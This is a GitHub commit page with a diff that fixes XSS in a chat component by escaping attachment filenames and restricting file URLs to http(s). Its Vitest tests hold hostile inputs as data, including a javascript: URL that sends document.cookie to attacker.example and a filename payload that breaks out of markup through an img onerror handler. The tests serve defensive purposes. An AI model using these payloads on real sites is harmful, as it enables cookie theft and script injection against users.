Skip to content

Commit 65c7029

Browse files
authored
fix(chat): escape attachment filename and validate file URL scheme to prevent XSS (#5028)
1 parent e51bc57 commit 65c7029

4 files changed

Lines changed: 124 additions & 25 deletions

File tree

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
/**
2+
* @vitest-environment jsdom
3+
*/
4+
import { describe, expect, it, vi } from 'vitest'
5+
6+
vi.mock('@/components/emcn', () => ({
7+
Button: () => null,
8+
Download: () => null,
9+
Loader: () => null,
10+
}))
11+
12+
vi.mock('@/components/icons/document-icons', () => ({
13+
DefaultFileIcon: () => null,
14+
getDocumentIcon: () => () => null,
15+
}))
16+
17+
vi.mock('@/lib/core/config/env', () => ({
18+
env: {},
19+
getEnv: vi.fn(),
20+
}))
21+
22+
vi.mock('@/lib/core/config/feature-flags', () => ({
23+
isProd: false,
24+
}))
25+
26+
import { isSafeHttpUrl } from '@/app/chat/components/message/components/file-download'
27+
28+
describe('isSafeHttpUrl', () => {
29+
it('allows absolute http(s) URLs', () => {
30+
expect(isSafeHttpUrl('https://example.com/file.pdf')).toBe(true)
31+
expect(isSafeHttpUrl('http://example.com/file.pdf')).toBe(true)
32+
})
33+
34+
it('allows same-origin relative URLs (resolved against the browser origin)', () => {
35+
expect(isSafeHttpUrl('/api/files/serve/abc?context=execution')).toBe(true)
36+
})
37+
38+
it('rejects javascript: URLs', () => {
39+
expect(isSafeHttpUrl("javascript:fetch('//attacker.example/c?'+document.cookie)")).toBe(false)
40+
expect(isSafeHttpUrl('JavaScript:alert(1)')).toBe(false)
41+
})
42+
43+
it('rejects other script-capable or non-navigable schemes', () => {
44+
expect(isSafeHttpUrl('data:text/html,<script>alert(1)</script>')).toBe(false)
45+
expect(isSafeHttpUrl('vbscript:msgbox(1)')).toBe(false)
46+
expect(isSafeHttpUrl('blob:https://example.com/uuid')).toBe(false)
47+
expect(isSafeHttpUrl('file:///etc/passwd')).toBe(false)
48+
})
49+
50+
it('treats relative junk as same-origin http (safe) rather than throwing', () => {
51+
expect(isSafeHttpUrl('')).toBe(true)
52+
expect(isSafeHttpUrl('not a url')).toBe(true)
53+
})
54+
55+
it('rejects unparseable absolute input without throwing', () => {
56+
expect(isSafeHttpUrl('http://')).toBe(false)
57+
})
58+
})

apps/sim/app/chat/components/message/components/file-download.tsx

Lines changed: 18 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@ import { sleep } from '@sim/utils/helpers'
66
import { Music } from 'lucide-react'
77
import { Button, Download, Loader } from '@/components/emcn'
88
import { DefaultFileIcon, getDocumentIcon } from '@/components/icons/document-icons'
9+
import { getBrowserOrigin } from '@/lib/core/utils/urls'
910
import type { ChatFile } from '@/app/chat/components/message/message'
1011

1112
const logger = createLogger('ChatFileDownload')
@@ -53,6 +54,21 @@ function getFileUrl(file: ChatFile): string {
5354
return `/api/files/serve/${encodeURIComponent(file.key)}?context=${file.context || 'execution'}`
5455
}
5556

57+
/**
58+
* Validates that a URL uses an http(s) scheme before it is opened in a new window.
59+
* Rejects `javascript:`, `data:`, `blob:`, `vbscript:`, and other schemes that could
60+
* execute script in the chat origin, since `file.url` originates from untrusted
61+
* workflow/agent output.
62+
*/
63+
export function isSafeHttpUrl(url: string): boolean {
64+
try {
65+
const parsed = new URL(url, getBrowserOrigin() ?? undefined)
66+
return parsed.protocol === 'http:' || parsed.protocol === 'https:'
67+
} catch {
68+
return false
69+
}
70+
}
71+
5672
async function triggerDownload(url: string, filename: string): Promise<void> {
5773
const response = await fetch(url)
5874
if (!response.ok) {
@@ -88,8 +104,8 @@ export function ChatFileDownload({ file }: ChatFileDownloadProps) {
88104
await triggerDownload(url, file.name)
89105
} catch (error) {
90106
logger.error(`Failed to download file ${file.name}:`, error)
91-
if (file.url) {
92-
window.open(file.url, '_blank')
107+
if (file.url && isSafeHttpUrl(file.url)) {
108+
window.open(file.url, '_blank', 'noopener,noreferrer')
93109
}
94110
} finally {
95111
setIsDownloading(false)
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
/**
2+
* @vitest-environment node
3+
*/
4+
import { describe, expect, it, vi } from 'vitest'
5+
6+
vi.mock('@/components/emcn', () => ({
7+
Duplicate: () => null,
8+
Tooltip: {},
9+
}))
10+
11+
vi.mock('@/app/chat/components/message/components/file-download', () => ({
12+
ChatFileDownload: () => null,
13+
ChatFileDownloadAll: () => null,
14+
}))
15+
16+
vi.mock('@/app/chat/components/message/components/markdown-renderer', () => ({
17+
default: () => null,
18+
}))
19+
20+
import { escapeHtml } from '@/app/chat/components/message/message'
21+
22+
describe('escapeHtml', () => {
23+
it('escapes all five HTML-significant characters', () => {
24+
expect(escapeHtml('&<>"\'')).toBe('&amp;&lt;&gt;&quot;&#39;')
25+
})
26+
27+
it('neutralizes a markup-breakout filename payload', () => {
28+
const payload = '</title><img src=x onerror=alert(document.origin)>'
29+
const escaped = escapeHtml(payload)
30+
expect(escaped).not.toContain('<img')
31+
expect(escaped).not.toContain('</title>')
32+
expect(escaped).toBe('&lt;/title&gt;&lt;img src=x onerror=alert(document.origin)&gt;')
33+
})
34+
35+
it('escapes ampersands first so entities are not double-broken', () => {
36+
expect(escapeHtml('a & b < c')).toBe('a &amp; b &lt; c')
37+
})
38+
39+
it('leaves safe strings untouched', () => {
40+
expect(escapeHtml('report-2026.pdf')).toBe('report-2026.pdf')
41+
expect(escapeHtml('')).toBe('')
42+
})
43+
})

apps/sim/app/chat/components/message/message.tsx

Lines changed: 5 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -49,7 +49,7 @@ const HTML_ESCAPES: Record<string, string> = {
4949
/**
5050
* Escapes HTML entities so untrusted strings are safe to interpolate into markup.
5151
*/
52-
function escapeHtml(value: string): string {
52+
export function escapeHtml(value: string): string {
5353
return value.replace(/[&<>"']/g, (c) => HTML_ESCAPES[c] || c)
5454
}
5555

@@ -129,28 +129,10 @@ export const ClientChatMessage = memo(
129129
const isInteractive =
130130
!!attachment.dataUrl?.trim() && attachment.dataUrl.startsWith('data:')
131131

132-
const openAttachmentPreview = () => {
132+
const handleOpenPreview = () => {
133133
const validDataUrl = attachment.dataUrl?.trim()
134134
if (!validDataUrl?.startsWith('data:')) return
135-
const newWindow = window.open('', '_blank')
136-
if (newWindow) {
137-
newWindow.document.write(`
138-
<!DOCTYPE html>
139-
<html>
140-
<head>
141-
<title>${attachment.name}</title>
142-
<style>
143-
body { margin: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; background: #000; }
144-
img { max-width: 100%; max-height: 100vh; object-fit: contain; }
145-
</style>
146-
</head>
147-
<body>
148-
<img src="${validDataUrl}" alt="${attachment.name}" />
149-
</body>
150-
</html>
151-
`)
152-
newWindow.document.close()
153-
}
135+
openAttachmentPreview(attachment.name, validDataUrl)
154136
}
155137

156138
return (
@@ -170,14 +152,14 @@ export const ClientChatMessage = memo(
170152
if (!isInteractive) return
171153
e.preventDefault()
172154
e.stopPropagation()
173-
openAttachmentPreview()
155+
handleOpenPreview()
174156
}}
175157
onKeyDown={(e) => {
176158
if (!isInteractive) return
177159
if (e.key === 'Enter' || e.key === ' ') {
178160
e.preventDefault()
179161
e.stopPropagation()
180-
openAttachmentPreview()
162+
handleOpenPreview()
181163
}
182164
}}
183165
>

0 commit comments

Comments
 (0)